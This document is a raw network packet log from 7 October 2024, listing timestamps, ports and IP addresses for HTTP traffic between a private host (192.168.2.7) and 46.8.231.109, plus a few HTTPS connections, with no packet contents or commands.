Oct 7, 2024 18:43:12.408565998 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408576965 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408587933 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408595085 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.408601046 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408612013 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408634901 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.408648014 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408651114 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.408659935 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408670902 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408699036 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.408723116 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.408848047 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408859968 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408870935 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.408896923 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.408920050 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.408981085 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.409033060 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.409034967 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.409048080 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.409059048 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.409086943 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.409111023 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.503140926 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.503173113 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.503184080 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.503201008 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.503209114 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.503212929 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.503225088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.503237009 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.503240108 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.503288984 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.582357883 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.582376003 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.582395077 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.582451105 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.582485914 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.582495928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.582509041 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.582524061 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.582535982 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.582539082 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.582554102 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.582556963 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.582570076 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.582588911 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.582590103 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.582604885 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.582624912 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.582659960 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.582768917 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.582781076 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.582822084 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.621634960 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:12.627168894 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.963438034 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:12.963536024 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:13.074409962 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:13.079390049 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:13.357002020 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:13.360759020 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:13.975219011 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 7, 2024 18:43:14.167454004 CEST	49674	443	192.168.2.7	104.98.116.138
Oct 7, 2024 18:43:14.171439886 CEST	49675	443	192.168.2.7	104.98.116.138
Oct 7, 2024 18:43:14.303308964 CEST	49672	443	192.168.2.7	104.98.116.138
Oct 7, 2024 18:43:14.544193029 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:14.563302994 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:14.836996078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:14.837074041 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.201571941 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.206999063 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.481059074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.481081009 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.481091976 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.481270075 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.481270075 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.481800079 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.481811047 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.482393026 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.482403040 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.482412100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.483405113 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.483405113 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.483540058 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.483551025 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.483561039 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.483684063 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.483691931 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.483691931 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.483694077 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.484344959 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.623109102 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623132944 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623143911 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623155117 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623164892 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623172998 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623184919 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623186111 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.623297930 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623308897 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623317957 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623327971 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623337984 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623347044 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623357058 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623358011 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.623358011 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.623358011 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.623367071 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623378038 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623408079 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.623425961 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.623585939 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623595953 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623605967 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623615026 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623625040 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623632908 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623642921 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623648882 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.623701096 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.623701096 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.623701096 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.701360941 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.701378107 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.701389074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.701399088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.701409101 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.701419115 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.701428890 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.701438904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.701488018 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.701488018 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.701760054 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.701775074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.701783895 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.701793909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.701802969 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.701812983 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.701822996 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.701823950 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.701833963 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.701843977 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.701853037 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.701863050 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.701890945 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.701890945 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.701935053 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.702297926 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.702307940 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.702316999 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.702326059 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.702336073 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.702346087 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.702354908 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.702364922 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.702373981 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.702378035 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.702383041 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.702389956 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.702399015 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.702399015 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.702538967 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.702950954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.702960968 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.702970982 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.702980995 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.702991009 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.703000069 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.703008890 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.703018904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.703027964 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.703037977 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.703047037 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.703053951 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.703053951 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.703053951 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.703058958 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.703069925 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.703079939 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.703088045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.703103065 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.703103065 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.703269005 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.703448057 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.703459024 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.703468084 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.703471899 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.703480959 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.703490973 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.703500032 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.703511953 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.703552008 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.703552008 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.703552008 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.735824108 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:15.735851049 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:15.735934019 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:15.736182928 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:15.736197948 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:15.783152103 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783169985 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783179998 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783255100 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.783255100 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.783376932 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783401966 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783413887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783423901 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783458948 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.783497095 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783507109 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.783508062 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783514977 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783519030 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783524990 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783581972 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783606052 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783622980 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783636093 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783648968 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.783648968 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.783689976 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.783721924 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783734083 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783744097 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783755064 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783766031 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783776045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783781052 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.783787966 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783799887 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.783823967 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.783828020 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783838034 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783848047 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783858061 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783911943 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.783917904 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.783917904 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.783917904 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.783922911 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784082890 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784084082 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.784095049 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784132957 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.784215927 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784226894 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784235954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784245014 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784255028 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784265995 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784291983 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.784291983 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.784291983 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.784329891 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784336090 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.784342051 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784353018 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784362078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784379005 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.784678936 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.784722090 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784734964 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784744978 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784817934 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.784817934 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.784822941 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784836054 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784846067 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784854889 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784864902 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784882069 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784893036 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784903049 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784905910 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.784905910 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.784913063 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784924030 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784933090 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784934998 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.784943104 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784954071 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784964085 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784975052 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.784972906 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.784972906 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.785002947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785007954 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.785015106 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785026073 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785036087 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785095930 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.785095930 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.785095930 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.785404921 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785418034 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785428047 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785438061 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785449028 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785459042 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785469055 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785480022 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785489082 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785500050 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785523891 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.785523891 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.785523891 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.785528898 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785541058 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785557032 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785567999 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785578012 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785589933 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785612106 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.785612106 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.785612106 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.785923958 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785936117 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785945892 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785978079 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.785991907 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.785995007 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.786004066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786015034 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786025047 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786035061 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786046028 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786051989 CEST	49699	80	192.168.2.7	46.8.231.109
